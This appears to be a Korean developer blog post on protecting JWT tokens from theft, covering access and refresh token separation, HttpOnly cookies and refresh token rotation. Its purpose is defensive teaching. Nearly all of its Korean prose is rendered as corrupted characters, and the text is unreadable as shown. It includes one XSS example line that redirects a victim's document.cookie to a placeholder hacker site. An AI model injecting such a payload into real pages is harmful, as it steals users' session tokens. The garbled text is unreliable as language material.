BackEnd๐ŸŒฑ/Etc

ํ† ํฐ(token)์˜ ํƒˆ์ทจ๋ฅผ ์ตœ๋Œ€ํ•œ ์˜ˆ๋ฐฉํ•˜๊ธฐ

dkswnkk 2023. 1. 14. 01:31

์„œ๋ก 

๋จผ์ € ๊ฐ„๋‹จํ•˜๊ฒŒ ํ† ํฐ์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๋ฉด ํ† ํฐ์ด๋ž€ ์„œ๋ฒ„๊ฐ€ ๊ฐ๊ฐ์˜ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ˆ„๊ตฌ์ธ์ง€ ๊ตฌ๋ณ„ํ•  ์ˆ˜ ์žˆ๋„๋ก ์‚ฌ์šฉ์ž์˜ ์œ ๋‹ˆํฌํ•œ ์ •๋ณด๋ฅผ ๋‹ด์€ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ํ† ํฐ ์œ ํšจ ๊ธฐ๊ฐ„ ๋™์•ˆ ๋™์ผํ•œ ์›นํŽ˜์ด์ง€๋‚˜ ์•ฑ, ํ˜น์€ ๊ทธ ๋ฐ–์— ํ•ด๋‹น ํ† ํฐ์„ ์‚ฌ์šฉํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋กœ ๋Œ์•„๊ฐˆ ๋•Œ๋งˆ๋‹ค ์ž๊ฒฉ ์ฆ๋ช…์„ ๋‹ค์‹œ ์ž…๋ ฅํ•  ํ•„์š” ์—†์ด ํ† ํฐ์ด ๋ฐœ๊ธ‰๋œ ์›น์‚ฌ์ดํŠธ๋‚˜ ์•ฑ์— ์•ก์„ธ์Šค ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ ‡๋“ฏ ํ† ํฐ์€ ํ† ํฐ ์ž์ฒด์— ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ ์ •๋ณด๋‚˜ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ Json ํฌ๋งท์„ ์ด์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์†์„ฑ์„ ์ €์žฅํ•˜๋Š” Web Token์„ JWT(Json Web Token)์ด๋ผ๊ณ  ๋ถ€๋ฅด๋Š”๋ฐ, ์ด๋ฒˆ ํฌ์ŠคํŒ…์—์„œ๋Š” ์ด๋Ÿฌํ•œ JWTํ† ํฐ์˜ ํƒˆ์ทจ์— ๋Œ€์ฒ˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ ์ •๋ฆฌํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋ชฉ์ฐจ

  1. Access Token๊ณผ Refresh Token์œผ๋กœ ๋ถ„๋ฆฌํ•˜๊ธฐ
  2. Http Only ์„ค์ •ํ•˜๊ธฐ
  3. Refresh Token Rotation(RTR) ๋ฐฉ๋ฒ•

 

 

Access Token๊ณผ Refresh Token์œผ๋กœ ๋ถ„๋ฆฌํ•˜๊ธฐ

ํ† ํฐ ๊ธฐ๋ฐ˜์˜ ์ธ์ฆ ๋ฐฉ์‹์—์„œ ํ† ํฐ์€ ์„ธ์…˜๊ณผ ๋‹ค๋ฅด๊ฒŒ ๋ฌด์ƒํƒœ(stateless) ํ•˜๋‹ค๋Š” ํŠน์ง•์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์„œ๋ฒ„๊ฐ€ ์ƒํƒœ๋ฅผ ๋ณด๊ด€ํ•˜๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฉฐ, ์„œ๋ฒ„๋Š” ํ† ํฐ์— ๋Œ€ํ•ด ์ œ์–ด๊ถŒ์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์„œ๋ฒ„์—์„œ๋Š” ํ•ด๋‹น ํ† ํฐ์„ ์ฆ‰์‹œ ๋งŒ๋ฃŒ์‹œํ‚ฌ ์ˆ˜ ์—†๊ธฐ์— ํ† ํฐ์ด ํ•œ๋ฒˆ ํƒˆ์ทจ๋‹นํ•˜๋ฉด ๋งค์šฐ ๊ณค๋ž€ํ•œ ์ƒํ™ฉ์— ๋น ์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

ํ•ด๋‹น ๋ฌธ์ œ์— ์ตœ๋Œ€ํ•œ ๋Œ€์ฒ˜ํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ํ† ํฐ์„ Access Token๊ณผ Refresh Token์˜ ๋‘ ๊ฐ€์ง€ ๋ถ„๋ฅ˜๋กœ ๋‚˜๋ˆŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Access Token: ์œ ํšจ ๊ธฐ๊ฐ„์ด ์งง์€(์ฃผ๋กœ ๋ถ„ ๋‹จ์œ„)์˜ ํ† ํฐ, ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•จ
  • Refresh Token: ์œ ํšจ ๊ธฐ๊ฐ„์ด ๊ธด(์ฃผ๋กœ ์ผ ๋‹จ์œ„)์˜ ํ† ํฐ, Access Token์„ ์žฌ๋ฐœ๊ธ‰๋ฐ›๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•จ

Access Token๊ณผ Refresh Token์˜ ๊ฐ„๋‹จํ•œ ํ”Œ๋กœ์šฐ

  1. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํšŒ์›๊ฐ€์ž… ํ˜น์€ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋ฉด ์„œ๋ฒ„๋Š” ์‘๋‹ต๊ฐ’์œผ๋กœ Access Token๊ณผ Refresh Token์„ ํ•จ๊ป˜ ์ œ๊ณตํ•œ๋‹ค.
  2. ํด๋ผ์ด์–ธํŠธ๋Š” API๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ Access Token ๋‹ด์•„ ๋ณด๋‚ด๊ณ , ์„œ๋ฒ„์—์„œ Access Token์„ ํ†ตํ•ด ์œ ์ €๋ฅผ ์ธ์ฆํ•œ๋‹ค.
  3. ๋งŒ์•ฝ Access Token์˜ ์œ ํšจ ๊ธฐ๊ฐ„์ด ๋งŒ๋ฃŒ๋˜์—ˆ๋‹ค๋ฉด, ํด๋ผ์ด์–ธํŠธ๋Š” Refresh Token์„ ์„œ๋ฒ„์— ์ „๋‹ฌํ•˜์—ฌ ์ƒˆ๋กœ์šด Access Token์„ ๋ฐœ๊ธ‰๋ฐ›๋Š”๋‹ค.

Access Token๊ณผ Refresh Token์„ ์‚ฌ์šฉํ•  ๋•Œ์˜ ๊ฐ„๋‹จํ•œ ํ”Œ๋กœ์šฐ๋Š” ์œ„์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

Access Token๊ณผ Refresh Token์œผ๋กœ ๋‚˜๋ˆ„๊ณ , Access Token์„ ํ†ตํ•ด ํ†ต์‹ ํ•จ์œผ๋กœ์จ, ์•…์˜์  ์ด์šฉ์ž์— ์˜ํ•ด Access Token์ด ํƒˆ์ทจ๋‹นํ•˜๋”๋ผ๋„ ์œ ํšจ๊ธฐ๊ฐ„์ด ์งง๊ธฐ์— ํฌ๊ฒŒ ๋ถ€๋‹ด์ด ๋˜์ง€ ์•Š๊ณ , ์ฃผ ํ†ต์‹ ์€ Access Token์œผ๋กœ ์ด๋ฃจ์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— Refresh Token์ด ํƒˆ์ทจ๋‹นํ•  ๊ฐ€๋Šฅ์„ฑ์„ ํฌ๊ฒŒ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

Http Only ์„ค์ •ํ•˜๊ธฐ

ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๋Š” ์•„์ง ์˜๋ฌธ์ ์ด ๋‚จ์•„์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด Refresh Token์ด ํƒˆ์ทจ๋‹นํ•˜๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”? Access Token์€ ์œ ํšจ๊ธฐ๊ฐ„์ด ์งง๊ธฐ์— ํƒˆ์ทจ๋‹นํ•˜๋”๋ผ๋„ ๊ณง ๋งŒ๋ฃŒ๋  ๊ฑฐ๋ผ๋Š” ์กฐ๊ธˆ์˜ ์•ˆ์‹ฌ์„ ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ Refresh Token์€ ๊ทธ๋ ‡์ง€ ์•Š์Šต๋‹ˆ๋‹ค. Refresh Token์œผ๋กœ ์–ผ๋งˆ๋“ ์ง€ Access Token์„ ๋ฐœ๊ธ‰๋ฐ›์•„ ์•…์˜์  ์ด์šฉ์„ ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋Œ€๋ถ€๋ถ„์˜ ํด๋ผ์ด์–ธํŠธ๋Š” ์ฟ ํ‚ค์— Token์„ ์ €์žฅํ•˜๋ฉฐ,  ํด๋ผ์ด์–ธํŠธ๋Š” ๋ชจ๋“  ์š”์ฒญ(Request)์— ์ฟ ํ‚ค๋ฅผ ํฌํ•จํ•˜์—ฌ ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๊ต‰์žฅํžˆ ์‰ฝ์Šต๋‹ˆ๋‹ค.

๋จผ์ € ์ •๋ง๋กœ ์ฟ ํ‚ค์— ๋‹ด๊ธฐ๋Š”์ง€ ํ•œ๋ฒˆ ํ™•์ธํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๊ฐœ๋ฐœ์ž๋ชจ๋“œ - Application - Cookies

ํ† ํฐ์˜ ์ด๋ฆ„์€ ํ”Œ๋žซํผ๋งˆ๋‹ค ๋‹ค๋ฅด๊ฒ ์ง€๋งŒ token์ด ์ฟ ํ‚ค์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฟ ํ‚ค๋Š” ํด๋ผ์ด์–ธํŠธ์—์„œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ํ•ด์ปค๋“ค์€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ ์ฟ ํ‚ค๋ฅผ ๊ฐ€๋กœ์ฑ„๊ณ ์ž ์‹œ๋„๋ฅผ ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ฐ€์žฅ ๋Œ€ํ‘œ์ ์ธ ๊ณต๊ฒฉ ์ค‘ ํ•˜๋‚˜๊ฐ€ XSS(Cross Site Scripting)์ž…๋‹ˆ๋‹ค.

location.href = 'http://ํ•ด์ปค์‚ฌ์ดํŠธ/?cookies=' + document.cookie;

์•…์˜์  ์‚ฌ์šฉ์ž๊ฐ€ ์œ„์™€ ๊ฐ™์€ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒŒ์‹œํŒ์— ์ž‘์„ฑํ•œ ๋’ค, ๋‹ค๋ฅธ ์ด์šฉ์ž๊ฐ€ ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ๊ฒŒ ๋˜๋ฉด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ช…๋ น์ด ์‹คํ–‰๋˜์–ด ์•…์˜์  ์ด์šฉ์ž์˜ ์‚ฌ์ดํŠธ๋กœ ์ด๋™๋˜๋ฉฐ ์ด์ „ ์›น์— ๋‹ด๊ฒจ์žˆ๋“  ๋ชจ๋“  cookie์ •๋ณด๊ฐ€ ํ•ด๋‹น URL ์ฟผ๋ฆฌ์— ๋‹ด๊ธฐ๊ฒŒ ๋˜๋ฉฐ ๋„˜์–ด๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ฐœ๋ฐœ์ž๋ชจ๋“œ - console - document.cookie;

์‹ค์ œ๋กœ console ์ฐฝ์— document.cookie;๋ฅผ ํ†ตํ•ด cookie ๊ฐ’์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ CSS ์ทจ์•ฝ์ ์„ ํ•ด๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์€, ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—ญํ• ์„ ํ•˜๋Š” ๊ฒƒ์ด ๋ฐ”๋กœ HTTP Only Cookie ์„ค์ •์ธ๋ฐ, HttpOnly ์†์„ฑ์€ ํด๋ผ์ด์–ธํŠธ(๋ธŒ๋ผ์šฐ์ € ๋“ฑ)์—์„œ ์„ค์ •ํ•  ์ˆ˜ ์—†๋Š” ์˜ต์…˜์ด๋ฉฐ, ์„œ๋ฒ„๋‹จ์—์„œ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์ž…๋‹ˆ๋‹ค. ์„œ๋ฒ„์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ„๋‹จํ•œ ์ ‘๋ฏธ์‚ฌ๋ฅผ ์ฟ ํ‚ค์ƒ์„ฑ์ฝ”๋“œ์— ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Set-Cookie: ์ฟ ํ‚ค๋ช…=์ฟ ํ‚ค๊ฐ’; path=/; HttpOnly

๊ฐ€์žฅ ๋งˆ์ง€๋ง‰์— HttpOnly๋ผ๋Š” ์ ‘๋ฏธ์‚ฌ๋งŒ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ HTTP Only Cookie๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉฐ, ์œ„์—์„œ ๋งํ•œ XSS์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์ด ์ฐจ๋‹จ๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. HTTP Only Cookie๋ฅผ ์„ค์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ•ด๋‹น ์ฟ ํ‚ค๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๊ฒŒ ๋˜์ง€๋งŒ, ์ฟ ํ‚ค์— ํฌํ•จ๋œ ์ •๋ณด์˜ ๋Œ€๋ถ€๋ถ„์ด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ ‘๊ทผํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— HTTP Only Cookie๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

httpOnly ์„ค์ •์ด ๋œ ๊ฒƒ๋“ค

์‹ค์ œ๋กœ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋“ค์€ HttpOnly ์„ค์ •์ด ๋˜์–ด์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด HttpOnly๋Š” document.cookie๋ฅผ ์ด์šฉํ•ด์„œ ๋ˆ„๊ตฐ๊ฐ€๊ฐ€ ์ฟ ํ‚ค๋ฅผ ํ™•์ธํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ œํ•œํ•˜๋Š” ์„ค์ •์ž…๋‹ˆ๋‹ค.

 

 

Refresh Token Rotation(RTR) ๋ฐฉ๋ฒ•

๋งŒ์•ฝ HttpOnly์™€ Secure๊ฐ€ ์ ์šฉ๋œ Cookie์—๋„ ํ† ํฐ์„ ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด ๋ฏฟ์Œ์งํ•˜์ง€ ๋ชปํ•˜๋‹ค๋ฉด Refresh Token์„ ๋กœํ…Œ์ด์…˜์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•๋„ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

Refresh Token Ratation(RTR)์ด๋ž€ Access Token์ด ๋งŒ๋ฃŒ๋˜๊ณ  Refresh Token์œผ๋กœ ์ƒˆ๋กœ์šด Access Token์„ ๋ฐ›์•„์˜ฌ ๋•Œ, ์ƒˆ๋กœ์šด Refresh Token๋„ ๋ฐ›์•„์˜ค๋„๋ก ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ฆ‰. Refresh Token์ด ์‚ฌ์šฉ๋  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด Access Token๊ณผ Refresh Token์„ ๋ฐœ๊ธ‰ํ•˜์—ฌ ์ด์ „์— ๋ฐœ๊ธ‰๋œ Token๋“ค์€ ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

RTR (Refresh Token Rotation) ํ”Œ๋กœ์šฐ

์ด๋ ‡๊ฒŒ ๊ตฌ์„ฑํ•˜๋ฉด Refresh Token์€ ์ผํšŒ์šฉ ์ด๊ธฐ ๋•Œ๋ฌธ์—, ๋‘ ๋ฒˆ ์ด์ƒ Refresh Token์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋˜๋ฉด ํƒˆ์ทจ๋œ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผํ•˜๊ณ  ์กฐ์น˜๋ฅผ ์ทจํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์‚ฌ์šฉ๋˜์ง€ ์•Š์€ Refresh Token์„ ํ›”์ณ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, ์ง€์†์ ์œผ๋กœ Access Token๋งŒ์„ ํƒˆ์ทจํ•œ๋‹ค๋ฉด ๋ง‰์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

 

 

์ฐธ๊ณ 

  1. https://nsinc.tistory.com/121
  2. https://hudi.blog/refresh-token/
  3. https://theheydaze.tistory.com/550